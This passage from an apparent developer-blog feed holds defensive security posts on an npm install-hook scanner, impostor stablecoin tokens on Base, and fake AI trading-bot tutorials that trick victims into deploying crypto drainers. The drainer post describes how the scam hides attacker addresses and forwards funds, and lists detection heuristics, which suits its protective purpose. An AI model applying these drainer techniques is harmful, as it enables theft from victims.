&lt;p&gt;The project ships a harmless take-home fixture at &lt;code&gt;examples/safe-take-home&lt;/code&gt;. It has a &lt;code&gt;postinstall&lt;/code&gt; hook and a project &lt;code&gt;.npmrc&lt;/code&gt; that sets &lt;code&gt;ignore-scripts=false&lt;/code&gt;. The hook only writes a local marker file. There are no secrets, downloads or live payloads. On a trusted checkout of npm-install-audit 1.7.0, this is the actual output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;! .npmrc: ignore-scripts=false explicitly enables npm lifecycle scripts
! package.json: postinstall hook runs: node setup.cjs

2 finding(s). Read them before you run npm install or any git command.
Tip: git -c core.hooksPath=/dev/null &amp;lt;command&amp;gt; runs git without repo hooks.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The exit code is 1 because something was flagged, not because the scanner crashed. The hook does not run during the scan. In this fixture that is easy to prove: the marker file is absent afterwards.&lt;/p&gt;

&lt;h2&gt;
  
  
  Run the tool from a trusted copy, not inside the target repo
&lt;/h2&gt;

&lt;p&gt;Clone or install a reviewed copy of the scanner in a directory you already trust. Stay in that directory. Pass the take-home path as an argument:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /path/to/trusted-tools/npm-install-audit
node ./audit.js /absolute/path/to/take-home-task
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Do not bootstrap the scanner from inside the unfamiliar project. npm reads the current project's &lt;code&gt;.npmrc&lt;/code&gt;, which can change the registry and how scripts run. If you use the npm package, run &lt;code&gt;npx&lt;/code&gt; from a trusted directory too, and review what you are about to execute.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;--json&lt;/code&gt; prints a machine-readable array, which is useful in CI. The findings are still for a person to read.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a finding means, and what a clean scan does not mean
&lt;/h2&gt;

&lt;p&gt;A finding is a review signal. In the demo, &lt;code&gt;postinstall&lt;/code&gt; would run &lt;code&gt;setup.cjs&lt;/code&gt; during install, and the project &lt;code&gt;.npmrc&lt;/code&gt; would explicitly allow lifecycle scripts. In a real take-home, open those files and decide whether the command makes sense for a short test task.&lt;/p&gt;

&lt;p&gt;Plenty of legitimate projects have a &lt;code&gt;prepare&lt;/code&gt; hook or commit Yarn configuration. The tool describes what will run. It does not call it malware.&lt;/p&gt;

&lt;p&gt;A clean scan is not proof of safety. Obfuscated code, code fetched later, and anything in &lt;code&gt;node_modules&lt;/code&gt; (skipped on purpose) are out of scope. Still read the project, and still open an unknown repo in a throwaway container or VM that does not hold your keys, wallets or work logins.&lt;/p&gt;

&lt;h2&gt;
  
  
  Extra care when a coding agent will run install
&lt;/h2&gt;

&lt;p&gt;Coding agents can run &lt;code&gt;npm install&lt;/code&gt; as soon as you ask them to set up a repo. Put the review requirement in instructions you control, outside the unfamiliar repository. Use a trusted standalone copy of the scanner from a trusted working directory. Do not treat a README in the take-home, or a clean scan, as permission to install.&lt;/p&gt;

&lt;h2&gt;
  
  
  The OWASP checklist and where the code lives
&lt;/h2&gt;

&lt;p&gt;The OWASP NPM Security Cheat Sheet now has a section, "Inspecting a project you did not write," with a manual checklist for this situation. The scanner is a faster way to surface the same class of signals. It does not replace the checklist, isolation, or reading the code.&lt;/p&gt;

&lt;p&gt;The tool is free and open source (MIT):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/cryptostrapon/npm-install-audit" rel="noopener noreferrer"&gt;https://github.com/cryptostrapon/npm-install-audit&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If it helped, a star helps others find it.&lt;/p&gt;

</description>
      <category>npm</category>
      <category>security</category>
      <category>javascript</category>
      <category>node</category>
    </item>
    <item>
      <title>Two tokens called Tether USD on Base. One has 630,125 holders, the other has 85</title>
      <dc:creator>cryptostrapon</dc:creator>
      <pubDate>Fri, 27 Nov 2026 14:00:00 +0000</pubDate>
      <link>https://dev.to/cryptostrapon/two-tokens-called-tether-usd-on-base-one-has-630125-holders-the-other-has-85-3enp</link>
      <guid>https://dev.to/cryptostrapon/two-tokens-called-tether-usd-on-base-one-has-630125-holders-the-other-has-85-3enp</guid>
      <description>&lt;p&gt;Two tokens on Base call themselves "Tether USD". Same name, same symbol, same logo if a website wants to draw one. One has 630,125 holders. The other has 85.&lt;/p&gt;

&lt;p&gt;Guess which one shows up first when someone searches "USDT" in a hurry.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ten minutes of Base traffic
&lt;/h2&gt;

&lt;p&gt;We read every ERC-20 Transfer event on Base across 300 consecutive blocks on 20 October 2026, roughly ten minutes. That's 92,746 transfers from 978 different token contracts. Then we asked each contract one question: what do you call yourself?&lt;/p&gt;

&lt;p&gt;The ERC-20 standard lets a contract answer with any name and any symbol its deployer typed in. Nobody checks. There's no registry, no trademark office and no bouncer at the door. In those ten minutes we found:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a second "Tether USD" with the wrong decimals,&lt;/li&gt;
&lt;li&gt;seven different contracts all called USDF, and seven called USDP,&lt;/li&gt;
&lt;li&gt;a "USD Coin (wrapped)" with two holders and a mint function,&lt;/li&gt;
&lt;li&gt;a family of 95 tokens with identical code and one owner, named like a pension prospectus: "Dividend Fund", "Reserve", "Oil".&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of this breaks a rule. That's the problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fingerprint copycats forget
&lt;/h2&gt;

&lt;p&gt;The name field is cosmetic. The decimals field is plumbing. Bridged USDT on Base has 6 decimals. The impostor in our window has 18. That one number gives it away faster than any logo.&lt;/p&gt;

&lt;p&gt;If your app or bot picks a token by symbol, this is the bug. Here's a check that picks by address and uses decimals as a second opinion:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// tokencheck.mjs: does this contract match the asset it claims to be?&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;createPublicClient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;erc20Abi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;getAddress&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s1"&gt;'viem'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s1"&gt;'viem/chains'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="no"&gt;OFFICIAL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="no"&gt;USDT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'0xfde4C96c8593536E31F229EA8f37b2ADa2699bb2'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// bridged Tether on Base&lt;/span&gt;
  &lt;span class="no"&gt;USDC&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Circle's native USDC on Base&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createPublicClient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;chain&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;transport&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;http&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;getAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;symbol&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;decimals&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readContract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;abi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;erc20Abi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;functionName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'symbol'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;readContract&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;abi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;erc20Abi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;functionName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;'decimals'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;official&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;OFFICIAL&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;symbol&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;official&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`${symbol}: not on our list, check the issuer's docs`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;getAddress&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;official&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`${symbol}: official, ${decimals} decimals`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nb"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`${symbol}: impostor. The real ${symbol} lives at ${official}`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Keep the list short and take every address from the issuer's own documentation, never from a search box.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 60-second routine before a swap
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Address first, name never.&lt;/strong&gt; Copy the contract from the issuer's site.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A ticker with two results is a stop sign,&lt;/strong&gt; not a choice between two logos.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check decimals, holders and creator&lt;/strong&gt; on the explorer. 630,125 against 85 is not a close call.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Fund" in a token name is free.&lt;/strong&gt; So is "Reserve". Neither comes with a fund or a reserve.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Approve only the amount you're swapping.&lt;/strong&gt; An unlimited approval to the wrong contract doesn't expire when you close the tab.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The full case, with every contract address linked so you can check it yourself, is on our site: &lt;a href="https://cryptostrapon.com/stories/base-same-name-different-token?utm_source=devto&amp;amp;utm_campaign=case_name_is_free" rel="noopener noreferrer"&gt;The Name Is Free: Five Red Flags Before You Swap on Base&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Does your app resolve tokens by symbol anywhere? Be honest, a lot of them do.&lt;/p&gt;

</description>
      <category>security</category>
      <category>web3</category>
      <category>javascript</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Fake AI trading bot tutorials: the victim deploys the drainer</title>
      <dc:creator>cryptostrapon</dc:creator>
      <pubDate>Tue, 24 Nov 2026 13:00:00 +0000</pubDate>
      <link>https://dev.to/cryptostrapon/fake-ai-trading-bot-tutorials-the-victim-deploys-the-drainer-1e40</link>
      <guid>https://dev.to/cryptostrapon/fake-ai-trading-bot-tutorials-the-victim-deploys-the-drainer-1e40</guid>
      <description>&lt;p&gt;The video is calm and well edited. "Claude-assisted arbitrage bot, no coding needed." Open a browser IDE, paste the contract, deploy it from your own wallet, fund it with 1 or 2 ETH of "liquidity", press Start.&lt;/p&gt;

&lt;p&gt;The contract you deploy is not the one on the screen.&lt;/p&gt;

&lt;p&gt;In September 2026 TRM Labs published its analysis of a campaign built on nine near-identical YouTube tutorials. It linked &lt;strong&gt;234 contracts deployed by 224 victim wallets&lt;/strong&gt; to six operator collection addresses, and attributes &lt;strong&gt;274.60 ETH (about $517,205)&lt;/strong&gt; to those addresses between February 12 and August 11 (&lt;a href="https://www.trmlabs.com/resources/blog/fake-ai-trading-bots-are-getting-victims-to-build-their-own-drainers" rel="noopener noreferrer"&gt;TRM Labs&lt;/a&gt;). A year earlier SentinelLabs documented a similar operation that used the real Remix with malicious source code, hiding the attacker's address with XOR and string tricks; one attacker address they linked to a video had received 244.9 ETH (&lt;a href="https://www.sentinelone.com/labs/smart-contract-scams-ethereum-drainers-pose-as-trading-bots-to-steal-crypto/" rel="noopener noreferrer"&gt;SentinelLabs&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;This is a nice scam from the attacker's point of view: the wallet shows an ordinary contract deployment, not a suspicious approval. Every security habit people have about "do not sign weird things" passes.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three identities that must match
&lt;/h2&gt;

&lt;p&gt;Any time you deploy code that will hold money, there are three versions of it:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The script:&lt;/strong&gt; the source you read on screen.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The compiler:&lt;/strong&gt; the tool that turns it into bytecode. In TRM's "fake compiler" variant, a background script throws away the code you see and fetches a different contract from the operator's server.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The deployment:&lt;/strong&gt; the bytecode the network actually received. Only this one controls the funds.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If 1 and 3 do not match, nothing you read matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check the deployed bytecode against your own compile
&lt;/h2&gt;

&lt;p&gt;Compile the source yourself with the official compiler (npm &lt;code&gt;solc&lt;/code&gt;, Foundry or Hardhat), then compare with what is on chain. Solidity appends a CBOR metadata block to the runtime bytecode, and its length is in the last two bytes. Strip it before comparing, because it changes with things like file paths.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;ethers&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="s2"&gt;"ethers"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;stripMetadata&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"0x"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;metaLen&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;        &lt;span class="c1"&gt;// CBOR length in bytes&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;cut&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;metaLen&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;                      &lt;span class="c1"&gt;// + the 2 length bytes, in hex chars&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;cut&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cut&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// localRuntime: deployedBytecode from your own compile of the source you read&lt;/span&gt;
&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;matchesSource&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;provider&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;localRuntime&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;onchain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;provider&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getCode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;onchain&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s2"&gt;"0x"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"no contract at this address"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;stripMetadata&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;onchain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;stripMetadata&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;localRuntime&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;
    &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"deployed bytecode differs from the source you compiled"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Contracts with &lt;code&gt;immutable&lt;/code&gt; variables embed their values in the runtime code, so for those you compare with the values masked or use the explorer's "verify and publish" flow, which does this properly. The rule stays the same: &lt;strong&gt;do not fund a contract until its deployed bytecode matches source you compiled yourself.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Read the money paths, not the button labels
&lt;/h2&gt;

&lt;p&gt;Even with matching source, read where ETH can go. In the TRM variant, calling Start or Withdraw forwarded any balance above 0.05 ETH to the operator. The button label had nothing to do with the bytecode.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Follow every function that moves value: &lt;code&gt;start&lt;/code&gt;, &lt;code&gt;withdraw&lt;/code&gt;, &lt;code&gt;receive&lt;/code&gt;, &lt;code&gt;fallback&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Look for hardcoded address fragments, &lt;code&gt;uint160&lt;/code&gt; casts, XOR and string concatenation that build an address at runtime.&lt;/li&gt;
&lt;li&gt;Ask where the trading logic is. A real arbitrage contract has venues, price quotes, slippage limits and failure handling. A contract that mostly accepts ETH and has a &lt;code&gt;start()&lt;/code&gt; is a donation box.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Red flags in the tutorial itself
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;A fixed return, "1 ETH every 20 hours", or identical profits across several videos&lt;/li&gt;
&lt;li&gt;"No coding needed", while you deploy unaudited Solidity from your own wallet&lt;/li&gt;
&lt;li&gt;A compiler or IDE link in the description instead of the address you type yourself&lt;/li&gt;
&lt;li&gt;"Fund first, inspect later"&lt;/li&gt;
&lt;li&gt;A made up error like "gas nonce liquidity" asking for a second deposit. Ethereum has no such thing.&lt;/li&gt;
&lt;/ul&gt;

